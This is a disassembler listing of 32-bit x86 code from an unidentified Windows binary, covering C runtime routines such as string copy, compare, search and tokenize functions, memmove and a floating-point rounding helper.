		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C921
		test	dl, dl
		jz	short loc_41C978
		test	dh, dh
		jz	short loc_41C96F
		test	edx, 0FF0000h
		jz	short loc_41C962
		test	edx, 0FF000000h
		jz	short loc_41C95A
		jmp	short loc_41C921
; ---------------------------------------------------------------------------


loc_41C95A:				; CODE XREF: sub_41C8A0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C962:				; CODE XREF: sub_41C8A0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C96F:				; CODE XREF: sub_41C8A0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C978:				; CODE XREF: sub_41C8A0+72j
					; sub_41C8A0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41C8A0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C990


loc_41C980:				; CODE XREF: sub_41C990+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41C990
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C990	proc near		; CODE XREF: sub_401ACD+412p
					; sub_401ACD+4B9p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41C996:				; CODE XREF: sub_41C2E0+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41C9BB


loc_41C9A8:				; CODE XREF: sub_41C990+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41C980
		test	cl, cl
		jz	short loc_41CA04
		test	edx, 3
		jnz	short loc_41C9A8


loc_41C9BB:				; CODE XREF: sub_41C990+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41C9C6:				; CODE XREF: sub_41C990+61j
					; sub_41C990+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41CA08
		and	eax, 81010100h
		jz	short loc_41C9C6
		and	eax, 1010100h
		jnz	short loc_41CA02
		and	esi, 80000000h
		jnz	short loc_41C9C6


loc_41CA02:				; CODE XREF: sub_41C990+68j
					; sub_41C990+81j ...
		pop	esi
		pop	edi


loc_41CA04:				; CODE XREF: sub_41C990+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41CA08:				; CODE XREF: sub_41C990+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41CA45
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA3E
		test	ah, ah
		jz	short loc_41CA02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41CA37
		test	al, al
		jz	short loc_41CA02
		cmp	ah, bl
		jz	short loc_41CA30
		test	ah, ah
		jz	short loc_41CA02
		jmp	short loc_41C9C6
; ---------------------------------------------------------------------------


loc_41CA30:				; CODE XREF: sub_41C990+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA37:				; CODE XREF: sub_41C990+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA3E:				; CODE XREF: sub_41C990+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41CA45:				; CODE XREF: sub_41C990+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41C990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA50	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CA9C


loc_41CA60:				; CODE XREF: sub_41CA50+3Cj
					; sub_41CA50+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+3]
		jnz	short loc_41CA94
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CA60
		mov	edi, edi


loc_41CA90:				; CODE XREF: sub_41CA50+18j
					; sub_41CA50+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA94:				; CODE XREF: sub_41CA50+14j
					; sub_41CA50+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CA9C:				; CODE XREF: sub_41CA50+Ej
		test	edx, 1
		jz	short loc_41CAB8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41CA94
		inc	ecx
		or	al, al
		jz	short loc_41CA90
		test	edx, 2
		jz	short loc_41CA60


loc_41CAB8:				; CODE XREF: sub_41CA50+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CA94
		or	al, al
		jz	short loc_41CA90
		cmp	ah, [ecx+1]
		jnz	short loc_41CA94
		or	ah, ah
		jz	short loc_41CA90
		add	ecx, 2
		jmp	short loc_41CA60
sub_41CA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAD4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41CAED:				; CODE XREF: sub_41CAD4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CAED
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CB15
		mov	edx, dword_4DBE78


loc_41CB15:				; CODE XREF: sub_41CAD4+39j
					; sub_41CAD4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41CB35
		test	al, al
		jz	short loc_41CB35
		inc	edx
		jmp	short loc_41CB15
; ---------------------------------------------------------------------------


loc_41CB35:				; CODE XREF: sub_41CAD4+58j
					; sub_41CAD4+5Cj
		mov	ebx, edx


loc_41CB37:				; CODE XREF: sub_41CAD4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41CB5B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41CB57
		inc	edx
		jmp	short loc_41CB37
; ---------------------------------------------------------------------------


loc_41CB57:				; CODE XREF: sub_41CAD4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41CB5B:				; CODE XREF: sub_41CAD4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DBE78, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41CAD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB70	proc near		; CODE XREF: sub_409823+1Cp
					; sub_415DAC+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41CBAE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41CBBB
; ---------------------------------------------------------------------------


loc_41CBAE:				; CODE XREF: sub_41CB70+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41CBBB:				; CODE XREF: sub_41CB70+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41CB70	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBC0	proc near		; CODE XREF: sub_40ADE1+88p
					; sub_40B90E+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41CC74
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41CBEA


loc_41CBDB:				; CODE XREF: sub_41CBC0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41CC1B
		test	edi, 3
		jnz	short loc_41CBDB


loc_41CBEA:				; CODE XREF: sub_41CBC0+19j
					; sub_41CBC0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41CBEA
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41CC28
		test	ah, ah
		jz	short loc_41CC23
		test	eax, 0FF0000h
		jz	short loc_41CC1E
		test	eax, 0FF000000h
		jnz	short loc_41CBEA


loc_41CC1B:				; CODE XREF: sub_41CBC0+20j
		dec	edi
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC1E:				; CODE XREF: sub_41CBC0+52j
		sub	edi, 2
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC23:				; CODE XREF: sub_41CBC0+4Bj
		sub	edi, 3
		jmp	short loc_41CC2B
; ---------------------------------------------------------------------------


loc_41CC28:				; CODE XREF: sub_41CBC0+47j
		sub	edi, 4


loc_41CC2B:				; CODE XREF: sub_41CBC0+5Cj
					; sub_41CBC0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C
		jmp	short loc_41CC5C
; ---------------------------------------------------------------------------


loc_41CC40:				; CODE XREF: sub_41CBC0+75j
					; sub_41CBC0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41CC7A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41CC70
		test	esi, 3
		jnz	short loc_41CC40
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41CC8C


loc_41CC5C:				; CODE XREF: sub_41CBC0+7Ej
					; sub_41CBC0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41CC70


loc_41CC63:				; CODE XREF: sub_41CBC0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41CC72
		dec	ecx
		jnz	short loc_41CC63


loc_41CC70:				; CODE XREF: sub_41CBC0+8Bj
					; sub_41CBC0+A1j
		mov	[edi], cl


loc_41CC72:				; CODE XREF: sub_41CBC0+ABj
		pop	ebx
		pop	esi


loc_41CC74:				; CODE XREF: sub_41CBC0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC7A:				; CODE XREF: sub_41CBC0+85j
					; sub_41CBC0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CC84:				; CODE XREF: sub_41CBC0+E4j
					; sub_41CBC0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41CC5C


loc_41CC8C:				; CODE XREF: sub_41CBC0+7Cj
					; sub_41CBC0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41CC84
		test	dl, dl
		jz	short loc_41CC7A
		test	dh, dh
		jz	short loc_41CCD8
		test	edx, 0FF0000h
		jz	short loc_41CCC8
		test	edx, 0FF000000h
		jnz	short loc_41CC84
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCC8:				; CODE XREF: sub_41CBC0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41CCD8:				; CODE XREF: sub_41CBC0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41CBC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CCE3	proc near		; CODE XREF: ___:0040B062p
					; sub_40C2AF+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B9C0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420DB0
		add	esp, 10h
		leave
		retn
sub_41CCE3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CD20	proc near		; CODE XREF: sub_40B13C+62p
					; sub_40B13C+6Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CD40
		cmp	edi, eax
		jb	loc_41CEB8


loc_41CD40:				; CODE XREF: sub_41CD20+16j
		test	edi, 3
		jnz	short loc_41CD5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------


loc_41CD5C:				; CODE XREF: sub_41CD20+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CD74
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CD7C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CD74:				; CODE XREF: sub_41CD20+46j
		jmp	dword ptr loc_41CE78[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD7C:				; CODE XREF: sub_41CD20+31j
					; sub_41CD20+8Ej ...
		jmp	off_41CDFC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0CDh, 41h, 0
		dd offset loc_41CDBC
		dd offset loc_41CDE0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CDBC:				; DATA XREF: sub_41CD20+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CDE0:				; DATA XREF: sub_41CD20+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CD7C
		rep movsd
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDFC	dd offset loc_41CE5F	; DATA XREF: sub_41CD20:loc_41CD7Cr
		dd offset loc_41CE4C
		dd offset loc_41CE44
		dd offset loc_41CE3C
		dd offset loc_41CE34
		dd offset loc_41CE2C
		dd offset loc_41CE24
		dd offset loc_41CE1C
; ---------------------------------------------------------------------------


loc_41CE1C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CE24:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CE2C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CE34:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CE3C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CE44:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CE4C:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CE5F:				; CODE XREF: sub_41CD20:loc_41CD7Cj
					; DATA XREF: sub_41CD20:off_41CDFCo
		jmp	off_41CE68[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CE68	dd offset loc_41CE78	; DATA XREF: sub_41CD20+35r
					; sub_41CD20+92r ...
		dd offset loc_41CE80
		dd offset loc_41CE8C
		dd offset loc_41CEA0
; ---------------------------------------------------------------------------


loc_41CE78:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE80:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE8C:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CEA0:				; CODE XREF: sub_41CD20+35j
					; sub_41CD20+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CEB8:				; CODE XREF: sub_41CD20+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CEEC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CEE0:				; CODE XREF: sub_41CD20+1B1j
					; sub_41CD20+208j ...
		neg	ecx
		jmp	off_41CFB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEEC:				; CODE XREF: sub_41CD20+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CF04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CF04+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CF04:				; CODE XREF: sub_41CD20+1D6j
					; DATA XREF: sub_41CD20+1DDr
		jmp	off_41D000[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF17+1
; ---------------------------------------------------------------------------
		cmp	bh, cl
		inc	ecx
		add	[eax-31h], ah
		inc	ecx


loc_41CF17:				; DATA XREF: sub_41CD20+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CEE0
		std
		rep movsd
		cld
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CFB4
		dd offset loc_41CFBC
		dd offset loc_41CFC4
		dd offset loc_41CFCC
		dd offset loc_41CFD4
		dd offset loc_41CFDC
		dd offset loc_41CFE4
off_41CFB0	dd offset loc_41CFF7	; DATA XREF: sub_41CD20+1C2r
; ---------------------------------------------------------------------------


loc_41CFB4:				; DATA XREF: sub_41CD20+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CFBC:				; DATA XREF: sub_41CD20+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CFC4:				; DATA XREF: sub_41CD20+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CFCC:				; DATA XREF: sub_41CD20+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CFD4:				; DATA XREF: sub_41CD20+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CFDC:				; DATA XREF: sub_41CD20+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CFE4:				; DATA XREF: sub_41CD20+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CFF7:				; CODE XREF: sub_41CD20+1C2j
					; DATA XREF: sub_41CD20:off_41CFB0o
		jmp	off_41D000[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D000	dd offset loc_41D010	; DATA XREF: sub_41CD20+1B7r
					; sub_41CD20:loc_41CF04r ...
		dd offset loc_41D018
		dd offset loc_41D028
		dd offset loc_41D03C
; ---------------------------------------------------------------------------


loc_41D010:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D018:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D028:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D03C:				; CODE XREF: sub_41CD20+1B7j
					; sub_41CD20:loc_41CF04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CD20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D055(double)

sub_41D055	proc near		; CODE XREF: sub_40D2F4+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE60
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D0DB
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D0BE
		cmp	eax, 2
		jle	short loc_41D0B0
		cmp	eax, 3
		jnz	short loc_41D0BE
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0B0:				; CODE XREF: sub_41D055+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0BE:				; CODE XREF: sub_41D055+3Aj
					; sub_41D055+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41D118
; ---------------------------------------------------------------------------


loc_41D0DB:				; CODE XREF: sub_41D055+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D0FE


loc_41D0F0:				; CODE XREF: sub_41D055+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D120
; ---------------------------------------------------------------------------


loc_41D0FE:				; CODE XREF: sub_41D055+99j
		test	bl, 20h
		jnz	short loc_41D0F0
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41D118:				; CODE XREF: sub_41D055+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D120:				; CODE XREF: sub_41D055+59j
					; sub_41D055+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D055	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D124	proc near		; CODE XREF: ___:0041C16Dp
					; sub_422152+21p
					; DATA XREF: ...
		call	sub_41D13C
		call	sub_422152
		mov	dword_4DBE80, eax
		call	sub_422102
		fnclex
		retn
sub_41D124	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



